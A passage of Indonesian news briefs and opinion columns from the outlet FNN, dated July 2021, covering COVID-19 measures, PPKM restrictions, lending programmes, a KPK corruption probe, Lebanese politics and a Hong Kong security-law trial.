oksigen gratis di Bakorwil III Malang dibuka sejak pukul 09.00 hingga 21.30 WIB. Kapasitas oksigen yang disediakan per hari sebanyak 500 meter kubik untuk warga Malang Raya yakni Kota Malang, Kabupaten Malang dan Kota Batu yang membutuhkan. Untuk mendapat layanan isi ulang oksigen gratis tersebut, pendaftaran dibuka secara daring melalui infocovid19.jatimprov.go.id. Syarat yang harus dipenuhi adalah membawa hasil positif tes usap antigen atau PCR terbaru dan membawa tabung oksigen berukuran satu meter kubik. Tercatat, di Provinsi Jawa Timur, secara keseluruhan ada 277.104 kasus konfirmasi positif COVID-19. Dari total tersebut, sebanyak 205.238 orang dilaporkan telah sembuh, 18.513 dinyatakan meninggal dunia, dan sisanya berada dalam perawatan. (mth)

Korsel Mulai Vaksinasi Kelompok Usia 55-59 Tahun

Seoul, FNN - Korea Selatan memulai vaksinasi COVID-19 bagi kelompok usia 55-59 tahun pada Senin untuk mempercepat laju kampanye vaksinasi saat negara tersebut memerangi gelombang keempat infeksi. Peluncuran vaksinasi COVID-19 untuk warga berusia di atas 50 tahun terhenti selama sepekan bulan ini setelah rekor tinggi kasus baru memicu serbuan vaksinasi, menghabiskan persediaan yang ada dan merusak situs reservasi resmi. Sekitar 6,17 juta orang atau 84 persen dari warga berusia 50-an, telah mendaftar vaksinasi pekan lalu. Otoritas beralih dari vaksin COVID-19 Moderna ke Pfizer/BioNTech untuk sejumlah orang di kelompok tersebut lantaran fluktuasi jadwal pengiriman. Otoritas mendapat kritik karena krisis pasokan dan perubahan di menit-menit terakhir yang memperpanjang sementara jeda pemberian dosis Pfizer menjadi 4 pekan dan bukan 3 pekan untuk menyesuaikan dengan Moderna. Korea Selatan memprioritaskan vaksinasi COVID-19 bagi kaum lansia, kelompok rentan dan petugas kesehatan garda terdepan. Otoritas telah memvaksin 33 persen dari 52 juta penduduk dengan setidaknya satu dosis, sedangkan 13 persen penduduk telah mendapatkan vaksin lengkap. Pusat Pencegahan dan Pengendalian Penyakit Korea (KDCA) melaporkan 1.318 kasus baru pada Minggu (25/7), sehingga totalnya menjadi 190.166 kasus dengan 2.077 kematian. Pelacakan dan pengujian massal membantu Korsel mencatat tingkat kematian COVID-19 yang lebih rendah dibanding negara berkembang lainnya sejauh ini tanpa penguncian total. Namun, gelombang baru pandemi pada Minggu mendorong pemerintah untuk memperketat aturan jarak fisik di sebagian besar wilayah guna menekan penyebaran virus selama liburan musim panas. (mth)

Bank Nagari Luncurkan Program Anti Rentenir "Marandang"

Padang, FNN - Bank BPD Sumatera Barat atau Bank Nagari meluncurkan Program Melawan Rentenir di Ranah Minang (Marandang) dengan Kredit Pembiayaan Melawan Rentenir (KPMR). "Rentenir ini kadang-kadang menjadi beban bagi usaha super mikro karena bunganya yang mencekik. Ini yang coba diantisipasi Bank Nagari dengan terobosan Program Marandang ini," kata Gubernur Sumatera Barat (Sumbar) Mahyeldi saat peluncuran di Padang, Senin. Menurut Gubernur, masyarakat yang terjerat praktik rente hanya akan jadi pencari uang bagi rentenir karena bunganya yang tinggi sehingga lama kelamaan akan makin terjerat. Dengan hadirnya Program Marandang akan memudahkan dan memberikan keleluasaan dan menguntungkan masyarakat ekonomi lemah yang memiliki usaha. "Dalam masa pandemi COVID-19 memang perlu terobosan yang dilakukan untuk bisa membantu usaha mikro kecil agar bisa bertahan bahkan kalau memungkinkan terus berkembang," ujarnya. Ia menyebut pemerintah daerah (pemda) juga akan berupaya memberikan keringanan lebih di antaranya dengan "membeli" bunga bank dari pinjaman usaha super mikro. "Dalam pertemuan dengan bupati/wali kota ada yang berinisiatif akan membeli bunga pinjaman di bank sehingga pinjaman di masyarakat akan lebih rendah bunganya," ujar Gubernur Mahyeldi. Ia berharap dengan program Bank Nagari dan bantuan pemerintah tersebut kesejahteraan masyarakat akan bisa tingkatkan. Dirut Bank Nagari M Irsyad mengatakan Program KUR Super Mikro yaitu Marandang merupakan salah satu upaya pemerintah untuk membantu perekonomian usaha mikro dalam masa sulit akibat pandemi. "Kita mendorong perekonomian, mendorong usaha mikro dengan program ini," katanya. Program itu tidak perlu agunan, cukup usaha yang layak. Lama usaha juga bisa kurang dari enam bulan. "Bunganya hanya 6 persen setahun. Bahkan sampai akhir tahun 2021 pemerintah memberikan subsidi bunga 3 persen sehingga masyarakat hanya perlu membayar bunga 3 persen," katanya. Ia melanjutkan karena tujuannya melawan keberadaan rentenir, maka harus bisa menciptakan proses kredit pembiayaan cepat dan syarat yang mudah. Bank Nagari telah didukung aplikasi untuk memberikan segala kemudahan itu dengan proses pencairan cukup cepat 2-3 hari. Kepala OJK Perwakilan Sumbar Yusri mengapresiasi program dari Bank Nagari tersebut dan berharap itu bisa menjadi solusi bagi usaha mikro di Sumbar. Ia menyebut persoalan bagi masyarakat yang berusaha di sektor mikro bukan suku bunga tetapi ketersediaan akses ke lembaga pembiayaan formal dan proses yang cepat disamping syarat yang mudah. "Kalau rentenir, kapanpun orang mau, hari itu bisa langsung cair. Ini tantangan bagi perbankan untuk bisa melakukan hal yang sama," katanya. Ia berharap program itu tidak hanya dilakukan oleh Bank Nagari tetapi juga bisa dilakukan perbankan lain. (mth)

Pengunjung Pasar Tanah Abang Wajib Tunjukkan Kartu Vaksin

Jakarta, FNN - Pengunjung Pasar Tanah Abang, Jakarta Pusat wajib menunjukkan kartu vaksin Covid-19. Aturan tersebut diberlakukan, saat Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di Ibu Kota masih diterapkan, dan pasar tekstil terbesar di kawasan Asia itu mulai dibuka. "Wajib menunjukkan kartu vaksin Covid-19, minimal satu kali dosis. Berlaku di seluruh pasar," kata Pengelola Pasar Tanah Abang Heri Supriyatna saat dikonfirmasi Antara di Jakarta, Senin, 26 Juli 2021. Heri menjelaskan, kewajiban menunjukkan kartu vaksin baik pedagang maupun pengunjung berlaku di seluruh kawasan Pasar Tanah Abang, yakni Blok A, B, F dan G. Kewajiban menunjukkan kartu vaksin ini dalam rangka mencegah potensi bertambahnya kasus aktif Covid-19 dengan gejala berat. Selain itu, aturan ini juga untuk menggerakkan masyarakat dalam percepatan program vaksinasi nasional. Berdasarkan catatan pengelola, saat ini sudah lebih dari 21.000 pedagang, karyawan toko, karyawan pengelola Blok A , B, F dan Blok G Tanah Abang yang sudah divaksin. Dalam penyesuaian PPKM Level 4, Pasar Tanah Abang beroperasi mulai pukul 07.00 hingga 15.00 WIB. Sesuai dengan ketentuan pemerintah, kapasitas pengunjung juga dibatasi maksimal 50 persen. Operasional pasar rakyat, termasuk Pasar Tanah Abang diatur dalam Instruksi Menteri Dalam Negeri Nomor 24/2021 tentang PPKM Level 4 dan Level 3 Covid-19 di wilayah Jawa dan Bali. Dalam aturan tersebut, disebutkan, pasar rakyat yang menjual barang non kebutuhan sehari-hari dapat beroperasi dengan kapasitas maksimal 50 persen dan jam operasi sampai pukul 15.00 waktu setempat. (MD).

Mendagri Harap Kepala Daerah Segera Menindaklanjuti Instruksinya

Jakarta, FNN - Menteri Dalam Negeri Tito Karnavian berharap kepala daerah segera menindaklanjuti Instruksinya terkait pemberlakuan pembatasan kegiatan masyarakat (PPKM). "Kita berharap dengan adanya Instruksi Mendagri yang substansinya dibuat tim bersama, kepala daerah dapat segera melakukan langkah lanjutan," ujar Mendagri dalam keterangan pers virtual di Kantor Presiden, Jakarta, Senin. Tito mengatakan dirinya telah mengeluarkan tiga instruksi, yakni Nomor 24/2021, 25/2021, dan 26/2021 yang mengatur tentang Perpanjangan PPKM Tanggal 26 Juli-2 Agustus 2021. Instruksi Mendagri Nomor 24/2021 mengatur tentang PPKM Level 4 dan 3 di wilayah Jawa dan Bali. Instruksi Mendagri Nomor 25/2021 mengatur tentang Pemberlakuan PPKM Level 4 di wilayah Sumatera, Kalimantan, Sulawesi, Nusa Tenggara, Maluku, dan Papua. Instruksi Mendagri Nomor 26/2021 mengatur tentang Penerapan PPKM Level 3, 2, dan 1. Tito berharap kepala daerah bisa menindaklanjuti instruksi tersebut dimulai dengan melakukan rapat koordinasi dalam Forum Koordinasi Pimpinan Daerah (Forkopimda) hingga mengeluarkan produk kebijakan melalui surat edaran atau instruksi gubernur/bupati/wali kota. "Kalau bisa kebijakannya lebih spesifik sesuai karakteristik daerah masing-masing, tetapi tidak melampaui Instruksi Mendagri yang berlaku nasional," kata Tito. Menurut Tito, rakor Forkopimda perlu dilakukan untuk menyamakan persepsi antara provinsi dan kabupaten/kota. Namun dia berharap koordinasi tidak hanya dilakukan kepala daerah dengan unsur pemerintah melainkan juga dengan organisasi kemasyarakatan, tokoh masyarakat, dan pihak lain yang bisa menjadi mitra. Dia menekankan upaya persuasif dan sosialisasi harus selalu dikedepankan dalam mendisiplinkan masyarakat. Sementara langkah penegakan hukum harus menjadi jalan terakhir. "Kita tahu masyarakat sedang mengalami tekanan karena krisis kesehatan dan ekonomi, tetapi kita perlu mendisiplinkan masyarakat. Oleh karena itu mohon kerja sama semua pihak, termasuk tokoh masyarakat agar kebijakan betul-betul efektif," ujarnya. (mth)

Pengusaha Kaya Siap Jadi Perdana Menteri Lebanon

Beirut, FNN - Pengusaha kaya Lebanon dan mantan perdana menteri Najib Mikati siap ditunjuk lagi sebagai perdana menteri pada Senin, 26 Juli 2021. Ia terpilih kembali setelah memenangkan dukungan dari sebagian besar partai untuk membentuk pemerintahan baru yang sedang menghadapi krisis keuangan, Ahad kemarin, sekelompok mantan perdana menteri muslim Sunni mengatakan, mereka mendukung pemilihan Mikati, yang pernah memegang jabatan perdana menteri dua kali, dalam rangka membantu mengakhiri kebuntuan politik di Lebanon. Di antara pendukung Mikati adalah politisi veteran Saad al-Hariri, yang meninggalkan bisnisnya untuk membentuk pemerintahan baru Ahad lalu setelah hampir 10 bulan gagal menyepakati susunan kabinet dengan Presiden Michel Aoun. Langkah Hariri menandai puncak konflik selama berbulan-bulan tentang posisi di kabinet antara dirinya dan Aoun, kepala negara Kristen Maronit yang bersekutu dengan kelompok muslim Syiah bersenjata yang didukung Iran, Hizbullah. Seorang sumber politik senior mengatakan kepada Reuters bahwa sebagian besar blok (semacam komisi) parlemen utama negara itu sepakat untuk menunjuk Mikati. Tidak seperti banyak pemimpin Lebanon, dia tidak berasal dari salah satu dinasti politik. Akan tetapi, merupakan seorang pengusaha paling sukses di negara itu. Hizbullah dan sekutunya, gerakan Amal Syiah yang dipimpin oleh ketua parlemen Nabih Berri, diperkirakan akan menunjuk Mikati, tambah sumber itu. Aoun diperkirakan menunjuk Mikati setelah dia melakukan konsultasi dengan blok-blok parlemen pada Senin. Presiden diharuskan untuk mengajukan calon dengan tingkat dukungan terbesar di antara anggota parlemen. Setelah ditetapkan, proses sulit untuk membentuk pemerintahan baru yang menjamin kesepakatan di antara kelompok politik Lebanon yang terpecah-pecah akan dimulai. Lebanon telah dijalankan oleh pemerintah sementara selama hampir satu tahu. Nilai mata uangnya runtuh, lapangan kerja menghilang dan bank membekukan rekening. Keruntuhan ekonomi merupakan krisis terburuk Lebanon sejak perang saudara 1975-90. Dalam sistem politik Lebanon, jabatan perdana menteri harus dipegang oleh seorang muslim Sunni, sedangkan kepresidenan dipegang oleh seorang kristiani Maronit. Negara-negara Barat telah memberi tekanan pada politisi Lebanon supaya membentuk pemerintahan yang dapat mereformasi kondisi yang sudah rusak. Mereka juga mengancam dengan sanksi dan mengatakan dukungan keuangan tidak akan mengalir sebelum reformasi dimulai. (MD).

Erick Thohir: Bank BUMN Jadi Kontributor Terbesar Penyaluran KUR

Jakarta, FNN - Menteri Badan Usaha Milik Negara Erick Thohir mengungkapkan bahwa bank-bank BUMN menjadi penyalur terbesar kredit usaha rakyat (KUR). "Dari kuota KUR 2021 dari Himbara (Himpunan Bank Milik Negara) yang targetnya Rp253 triliun, kami memang menjadi kontributor terbesar yaitu 92 persen lebih," kata Erick Thohir dalam konferensi pers virtual di Jakarta, Senin, seusai menghadiri rapat terbatas mengenai Pinjaman Kredit Usaha Rakyat Pertanian yang dipimpin Presiden Joko Widodo. Penyaluran KUR selama Januari sampai 25 Juni secara keseluruhan meningkat Rp143,14 triliun atau 56,58 persen dari target Rp253 triliun pada 2021. "Ini sesuai dengan penugasan yang kami terima. Bank BRI, Mandiri, BNI mendukung program KUR ini terutama di pertanian kami sudah siapkan 8 klaster yaitu klaster padi, jagung, sawit, tebu, jeruk, tanaman hias, kopi, dan klaster porang sehingga nanti bisa bersinergi dengan program-program yang ada di Kementerian Pertanian dan Kementerian Perdagangan," ungkap Erick. Erick juga menyebutkan bank BUMN sudah memberikan pinjaman kepada 6.150 penggilingan padi (rice mill). "Dari total pinjaman ke 6.150 'rice mill' nilainya Rp2,7 triliun, kami tentu terbuka dan bisa mengembangkan juga siap mendampingi, seperti yang kami sudah lakukan di 'rice mill unit' di Ciamis dan Kebumen di mana hal itu menjadi kerja sama yang baik antara gapoktan (gabungan kelompok tani) dan Kementerian BUMN," jelas Erick. Menteri Koordinator bidang Perekonomian Airlangga Hartarto mengatakan Presiden Jokowi memberi arahan agar dilakukan korporatisasi pertanian atau melalui koperasi. "Sebagai contoh untuk pengembangan 'rice milling unit' yang investasi Rp5 miliar bisa dilakukan dengan skema KUR di mana tingkat suku bunganya rendah 3 persen untuk 5-7 tahun bisa diperuntukkan kepada kelompok petani misalnya 10 petani berkumpul maka dari 10 KUR bisa mencapai Rp5 miliar, itu sebagai contoh," kata Airlangga. Presiden Jokowi, menurut Airlangga, juga meminta pengucuran KUR dipermudah dan tidak ada regulasi yang menghambat. "Kami sampaikan khusus untuk sektor pertanian secara umum perkebunan kelapa sawit relatif mendapat sekitar Rp9,5 triliun, padi Rp7,8 triliun, tanaman lainnya Rp5,5 triliun, hortikultura sebesar Rp5,2 triliun, budi daya sapi Rp3,9 triliun, budi daya domba dan kambing Rp3,5 triliun, pertanian palawija Rp2,7 triliun, mix farming Rp2,6 triliun, pembibitan Rp1,1 triliun jadi secara keseluruhan KUR pangan Rp26,8 triliun, KUR hortikultura Rp7,84 triliun, perkebunan Rp20,3 triliun dan peternakan Rp15,1 triliun," ungkap Airlangga. (mth)

KPK Panggil Bupati Bandung Barat Nonaktif

Jakarta, FNN - Komisi Pemberantasan Korupsi, Senin, 26 Juli 2021 memanggil Bupati Bandung Barat nonaktif Aa Umbara Sutisna (AUM). Pemanggilan terkait dalam penyidikan kasus dugaan korupsi pengadaan barang tanggap darurat bencana pandemi Covid-19 pada Dinas Sosial Bandung Barat Tahun 2020. Aa Umbara dipanggil sebagai saksi untuk tersangka M Totoh Gunawan (MTG) selaku pemilik PT Jagat Dirgantara (JDG) dan CV Sentral Sayuran Garden City Lembang (SSGCL). "Hari ini (Senin) pemeriksaan saksi MTG tindak pidana korupsi terkait pengadaan barang tanggap darurat bencana pandemi Covid-19 pada Dinas Sosial Kabupaten Bandung Barat Tahun 2020 atas nama Aa Umbara Sutisna/Bupati Bandung Barat periode 2018-2023," kata Pelaksana tugas Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Senin, 26 Juli 2021. Pemeriksaan Aa Umbara, kata Ali, dilakukan di Gedung KPK, Jakarta. Aa Umbara juga salah satu tersangka kasus tersebut, Akan tetapi, tim penyidik memanggilnya sebagai saksi. Selain pemeriksaan Aa Umbara, KPK pada hari Senin juga memanggil M Totoh dalam kapasitas sebagai tersangka. Pemeriksaan dilakukan di Gedung KPK, Jakarta. Selain Aa Umbara dan M Totoh, KPK menetapkan Andri Wibawa (AW) dari swasta/anak Aa Umbara sebagai tersangka. Dalam konstruksi perkara disebut pada Maret 2020 karena adanya pandemi Covid-19, Pemkab Bandung Barat menganggarkan sejumlah dana untuk penanggulangan pandemi Covid-19 dengan melakukan "refocusing" anggaran APBD Tahun 2020 pada Belanja Tidak Terduga (BTT). Dengan menggunakan bendera CV Jayakusuma Cipta Mandiri (JCM) dan CV Satria Jakatamilung (SJ), Andri mendapatkan paket pekerjaan dengan total nilai Rp 36 miliar untuk pengadaan paket bahan pangan Bantuan Sosial Jaring Pengaman Sosial (Bansos JPS). Sedangkan M Totoh dengan menggunakan PT JDG dan CV SSGCL mendapakan paket pekerjaan senilai Rp 15,8 miliar untuk pengadaan bahan pangan Bansos JPS dan Bantuan Sosial terkait Pembatasan Sosial Berskala Besar (Bansos PSBB). Dari kegiatan pengadaan tersebut, Aa Umbara diduga telah menerima uang sejumlah sekitar Rp 1 miliar. Sumbernya disisihkan oleh M Totoh dari nilai harga per paket sembako yang ditempelkan stiker bergambar Aa Umbara untuk dibagikan pada masyarakat Kabupaten Bandung Barat. Sedangkan M. Toto diduga telah menerima sekitar Rp 2 miliar dan Andri diduga menerima keuntungan sekitar Rp 2,7 miliar. Selain itu, Aa Umbara diduga menerima gratifikasi dari berbagai dinas di Pemkab Bandung Barat dan para pihak swasta yang mengerjakan berbagai proyek di Kabupaten Bandung Barat sejumlah sekitar Rp 1 miliar dan fakta ini masih terus akan didalami oleh tim penyidik KPK. (MD).

Wagub DKI: 90 Persen Bantuan Sosial Tunai Telah Tersalurkan

Jakarta, FNN - Wakil Gubernur DKI Jakarta Ahmad Riza Patria menyatakan penyaluran Bantuan Sosial Tunai (BST) bagi warga DKI Jakarta telah mencapai 90 persen yang dicairkan melalui Bank DKI Jakarta. "Bantuan sosial tunai sudah mencapai lebih dari 90 persen. Kemarin saya tinjau di beberapa lokasi, Alhamdulillah sudah dilaksanakan, yang kami bagikan melalui ATM Bank DKI," kata Riza saat meninjau vaksinasi di kampus Universitas Nasional, Jakarta Selatan, Senin. Riza berharap bantuan tersebut dapat meringankan beban masyarakat yang terdampak pandemi terutama pada pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4. Lebih lanjut dia menyampaikan bahwa ke depan seluruh bantuan yang bersumber dari Anggaran Pendapatan dan Belanja Daerah (APBD) akan menggunakan Bank DKI sebagai penyalur utama. "Diharapkan juga ke depan seluruh bantuan dari Jakarta melalui APBD lebih dari 1 juta dapat disalurkan melalui ATM bank DKi. Ini baik sekali sehingga tidak terjadi kerumunan," ujar Riza. Riza meminta agar bantuan yang diberikan oleh Kementerian Sosial tidak lagi disalurkan melalui PT. Pos Indonesia melainkan lewat transfer Bank. "Mudah-mudahan dukungan bantuan dari PT. Pos dan Kemensos kedepan bisa dilakukan melaluai ATM agar tidak menimbulkan kerumunan," tutur pria biasa disapa Ariza tersebut. Sebelumnya, BST sudah mulai disalurkan kepada 1.007.378 kepala keluarga (dari APBD) dan sekitar 837 ribu kepala keluarga (dari APBN) yang terkena dampak pandemi COVID-19 sejak 19 Juli 2021. (mth)

PPKM Eceran

By M Rizal Fadillah Bandung, FNN -Telah diputuskan bahwa PPKM level 4 akan diperpanjang hingga 2 Agustus 2021 yang menurut Presiden atas pertimbangan faktor kesehatan, ekonomi, dan dinamika sosial. Sebelumnya PPKM level 4 ini adalah perpanjangan dari PPKM Darurat yang bermula 3 hingga 20 Juli dan diperpanjang hingga 26 Juli 2021 dengan nama PPKM level 4. Tanpa kejelasan detail pertimbangan dan alasan klasifikasi tingkatan, Presiden telah menetapkan dan memperpanjang PPKM. PPKM ini adalah program pembatasan yang dinilai tidak matang dan terkesan cicilan atau eceran. Dasar hukum penetapannya sangat kabur. Pertama, Undang-Undang tidak mengenal nomenklatur PPKM Darurat atau PPKM Level 4. Akibatnya adalah bahwa konsekuensi dari pelanggarannya tidak memiliki landasan hukum yang kuat baik sanksi administrasi ataupun pidana. Sederhananya kebijakan ini ilegal. Kedua, PPKM Darurat ternyata hanya berdasar hukum pada Instruksi Mendagri No 15 tahun 2021 dan PPKM level 4 Instruksi Mendagri No. 22 tahun 2021. Semestinya jika merupakan implementasi dari Undang-Undang haruslah dalam bentuk Peraturan Pemerintah. Ruang lingkup PPKM ternyata memiliki spektrum yang luas dan bersifat lintas Kementrian. Ketiga, PPKM eceran seperti ini menciptakan kondisi ketidakpastian tentang kewajiban Pemerintah. Berbeda dengan Karantina Wilayah yang jelas, baik dasar hukum maupun konsekuensi kewajiban Pemerintahnya. PPKM Darurat atau PPKM Level 4 dapat menciptakan iklim otoritarian. Pemaksaan kepada rakyat tanpa dibarengi pemenuhan hak-hak rakyat yang berimbang atau memadai. PPKM level 4 dinyatakan telah diperpanjang oleh Presiden dengan pernyataan lisan atau pidato sampai 2 Agustus 2021. Pertanyaannya akan diperpanjang lagikah setelah itu ? atau akan dimainkan level-levelnya menjadi naik ke level 5 atau turun ke level 3 atau kembali menjadi darurat ? Tidak jelas. Yang jelas adalah bahwa rakyat tetap dibuat tergantung atau tercekik. Terjepit dalam dua pilihan yang sulit yaitu mati oleh penyakit atau mati karena perut melilit karena tak punya duit. *) Pemerhati Politik dan Kebangsaan

Perbankan Sudah Menyalurkan Rp 1.150 Triliun Kredit UMKM

Jakarta, FNN - Gubernur Bank Indonesia (BI) Perry Warjiyo menyebutkan sektor perbankan telah menyalurkan kredit sebesar Rp1.150 triliun kepada usaha mikro kecil dan menengah (UMKM). "UMKM adalah salah satu pilar untuk mendorong perekonomian Indonesia, termasuk di dalam pemulihan ekonomi dari Covid 19," ujar Perry dalam diskusi daring di Jakarta, Minggu, 24 Juli 2021. Ia menjelaskan, jumlah kredit yang disalurkan perbankan kepada UMKM tersebut kurang lebih merupakan 20,5 persen dari keseluruhan kredit perbankan, maka dari itu UMKM berhasil menjadi salah satu penyokong perbankan untuk menyalurkan pembiayaan. "Tentu saja jumlah ini masih perlu kita tingkatkan lebih lanjut," kata dia. Perry mengatakan, UMKM memegang peran penting dalam perekonomian domestik, dengan share terhadap produk domestik bruto (PDB) sebesar 57,1 persen atau sekitar Rp7.304 triliun. Jumlah UMKM saat ini tercatat 65,5 juta dan berhasil menyerap tenaga kerja sebanyak 120 juta atau 96,6 persen. Ia melanjutkan, produksi UMKM selama ini juga berhasil menyumbang kinerja ekspor non migas dengan pangsa 15,7 persen atau kurang lebih sekitar 339,2 miliar dolar AS per tahunnya. Oleh karena itu, potensi UMKM dalam mengungkit perekonomian harus terus ditingkatkan, terutama melalui digitalisasi yang masif mengingat COVID-19 menyebabkan pembatasan mobilisasi. (MD).

Sebanyak 436 Balita di Pekanbaru Alami Stunting

Kota Pekanbaru, FNN - Dinas Kesehatan Kota Pekanbaru mencatat ada 436 anak usia di bawah lima tahun (balita) mengalami stunting berasal dari 15 kelurahan. "Stunting merupakan kondisi gagal tumbuh pada balita yang diakibatkan kekurangan gizi kronis dan infeksi berulang yang terjadi terutama pada periode Seribu Hari Kehidupan (HPK) yaitu pada masa janin dan anak usia dua tahun," kata Plt Kepala Dinkes Pekanbaru dr Arnaldo Eka Putra dalam keterangannya di Pekanbaru, Minggu. Di Pekanbaru terdapat 83 kelurahan dan 15 kelurahan yang menjadi prioritas lokus stunting. Jumlah balita yang mengalami stunting 436 orang dengan prevalensi 5,43 persen. Disebutkan indikator penentuan dalam lokus stunting yaitu dari kelurahan dengan prevalensi tertinggi dan cakupan layanan yang rendah dan Dinkes Pekanbaru menetapkan 15 kelurahan yang menjadi prioritas lokus stunting pada 2021. Kelurahan yang menjadi perhatian dalam penanganan stunting antara lain, Suka Mulya, Melebung, Tanjung Rhu, Bencah Lesung, Pesisir, Rejosari, Rumbai Bukit, Tuah Negeri, Bambu Kuning, Sialang Sakti, Tirta Siak, Tebing Tinggi Okura, Air Dingin, Limbungan Baru, dan Lebah Sari. Sebelumnya Direktur Sinkronisasi Urusan Pemerintah Daerah III Direktorat Jenderal Bina Pembangunan Daerah Kementerian Dalam Negeri (Ditjen Bangda Kemendagri) Budiono Subambang menyampaikan, peran pemerintah provinsi dan kota sangat penting dalam penurunan angka stunting. "Karena pembahasan terkait stunting adalah komitmen kesepakatan rencana kegiatan dari OPD terkait, cegah stunting itu penting untuk Kota Pekanbaru," katanya. *mth)

Memburu Keringat Rakyat

Ternyata, AJI MUMPUNG lebih lezat dari pada AJINOMOTO Oleh Sugengwaras Bandung, FNN - Mumpung aku masih berkuasa, mumpung aku masih bisa ngatur, mumpung aku banyak punya jabatan rangkap, mumpung masih bisa memanfaatkan, menyelingkuhkan dan menyeret TNI POLRI, mumpung rakyat lagi parno, mumpung belum dilengserkan. Soal hutang negara menggunung, soal orang asing aseng membanjir, soal pengelolaan obyek-obyek strategis dan sumber daya alam nyaris diserahkan kepada orang asing, soal impor mendominasi ekspor, soal jadi negara konsumsi dan bukan negara produksi, soal rakyat cemas harap, resah gelisah, soal masa depan Indonesia suram. Semua bukan urusan saya. Soal pandemi...saya sudah berupaya mulai kebijakan PSPB, New Normal, PPKM Darurat, PPKM Level 4, kerenkan. iIu urusan Pak LBP. Toh anakku, menantuku sudah berhasil jadi wali kota, itu baru sekarang, belum lagi nanti. Soal aku dibilang boneka, yang penting dalam kekuasaanku aku bisa membubarkan FPI. Hebatkan? Bahkan aku bisa resmikan FBI (Forum Bhayangkara Indonesia ) yang anggotanya nyaris mata sipit semua, seragamnya mirip seragam POLRI yang baru, tapi nggak usah khawatir. nggak ada hubungannya dengan 5000 pucuk senjata yang diisukan masuk illegal ke Indonesia beberapa tahun yang lalu.. Aku bukan boneka dan aku bukan sampah. Percayalah, soal hutang menggunung, bayar bunga, gali terowongan tutup jurang, kan wilayah NKRI masih luas. Melalui pajak dan regulasi-regulasi lain aku masih bisa., Memburu Keringat Rakyat. Tunggu tanggal mainnya....Belgedest....!!! Penulis adalah Alumni AKABRI 1973, Purn TNI AD, Mantan Dir Dik Jar SESKO TNI, Ketua DPD APIB Jabar, Pembina KAMI Jabar, Panglima TRITURA, Pemerhati Pertahanan dan Keamanan NKRI )

Demonstran Hong Kong, Aktivis atau Separatis?

Hong Kong, FNN - Tiga hakim Hong Kong akan memutuskan pada Selasa (27/7) apakah slogan protes "Bebaskan Hong Kong. Revolusi Zaman Kita" tergolong seruan untuk memisahkan diri dari China. Mereka akan menjatuhkan vonis terhadap seorang pria yang ditangkap dalam aksi demonstrasi tahun lalu. Putusan bersejarah itu akan membawa dampak jangka panjang tentang bagaimana undang-undang keamanan nasional, yang diberlakukan China di Hong Kong setahun lalu untuk mencegah pemisahan, terorisme, subversi, dan kolusi dengan kekuatan asing, mengubah tradisi hukum publik, kata para pengamat. Sejumlah aktivis mengatakan putusan yang melarang slogan tersebut akan makin membatasi kebebasan berbicara. Slogan itu diteriakkan oleh demonstran dalam aksi-aksi protes pro-demokrasi, diunggah ke internet, ditempelkan pada dinding, dan dicetak pada media lain seperti pamflet, buku, stiker, kaos, dan gelas kopi. Selama sidang yang berlangsung 15 hari terhadap pramusaji 24 tahun bernama Tong Ying-kit itu, pengadilan mendengarkan kesaksian tentang bagaimana terdakwa mengendarai motor sambil membawa bendera hitam berisi slogan tersebut ke arah polisi anti huru-hara di Hong Kong pada 1 Juli tahun lalu. Tong adalah orang pertama yang dituntut berdasarkan undang-undang keamanan nasional itu. Jaksa kepala Anthony Chau berpendapat dalam sidang bahwa tindakan Tong merupakan sebuah aksi terorisme dan terdakwa berusaha menghasut orang untuk memisahkan diri. Dua pelanggaran berat itu bisa membuatnya dihukum penjara selama beberapa tahun atau maksimal seumur hidup jika terbukti bersalah, menurut undang-undang keamanan nasional. Tong mengaku tak bersalah atas tuntutan terorisme, hasutan untuk melakukan pemisahan, dan aksi mengendara berbahaya yang menyebabkan cedera parah. Chau tidak berkomentar saat dimintai komentarnya, begitu pula pengacara terdakwa, Clive Grossman. Dasar persidangan adalah argumen penuntut bahwa slogan tersebut "berkonotasi pada kemerdekaan Hong Kong", sebuah sikap yang tidak diterima oleh China, yang menganggap pusat keuangan dan bekas jajahan Inggris itu sebagai bagian "tak terpisahkan" dari teritorinya. Selama gelombang protes yang dimulai pada 2019 dan melumpuhkan kota, jutaan warga turun ke jalan untuk menentang tindakan keras para petinggi Partai Komunis China terhadap kebebasan warga Hong Kong yang dilindungi konstitusi. Slogan tersebut ada di mana-mana. Ketika Hong Kong dikembalikan oleh Inggris kepada China pada 1997, pemimpin Partai Komunis China berjanji untuk mengizinkan Hong Kong memberlakukan sistem peradilannya sendiri dan mempertahankan otonomi dan kebebasannya sebagai bagian dari perjanjian dengan Inggris. Para pengkritik mengatakan kebebasan tersebut telah diinjak-injak, sebuah pernyataan yang ditolak pihak berwenang di Beijing dan Hong Kong. Aktivis atau Separatis? Dalam persidangan, arti slogan tersebut diperdebatkan sengit. Sejumlah referensi disampaikan sebagai acuan, termasuk tentang kekaisaran China, Marxisme-Leninisme, penyair kuno China Li Bai, Malcolm X, kaum barbar Mongolia, dan mantan pemimpin nasionalis China, Chiang Kai-shek. Penuntut mengatakan slogan tersebut diciptakan pada 2016 oleh aktivis Edward Leung, seorang advokat terkenal untuk kemerdekaan Hong Kong. Leung, yang tengah menjalani hukuman enam tahun penjara dalam kasus kerusuhan, tidak dapat dimintai komentarnya, begitu pula dua pengacara yang pernah membelanya. Seorang saksi ahli dari pihak penuntut, profesor sejarah Lau Chi-pang, mengatakan bahwa bagian pertama dari slogan berbahasa China itu --diterjemahkan sebagai "bebaskan" atau "rebut kembali"-- telah digunakan dalam sejarah China sejak dinasti Qin sampai dinasti Qing. Dia juga mengatakan bahwa arti slogan itu "tidak berubah selama ribuan tahun", yaitu untuk memulihkan teritori yang hilang atau untuk mengusir musuh. Lau mengatakan dalam sidang bahwa kata-kata dalam slogan hanya punya satu arti, yang terkait dengan "pemisahan Wilayah Administratif Khusus Hong Kong dari Republik Rakyat China". Lau juga merujuk pada unjuk rasa 21 Juli 2019 ketika para demonstran yang meneriakkan slogan itu merusak lambang negara di depan Kantor Penghubung di Hong Kong. Tindakan tersebut dan pemakaian slogan pada hari itu "bertujuan menolak pemerintah Republik Rakyat China," kata penuntut. Tong menolak menjadi saksi. Tim pembelanya memanggil dua pendidik, profesor ilmu politik Eliza Lee dan profesor dan pakar komunikasi politik Francis Lee. Keduanya tidak memiliki hubungan saudara. Dalam laporan berisi ratusan wawancara dengan para 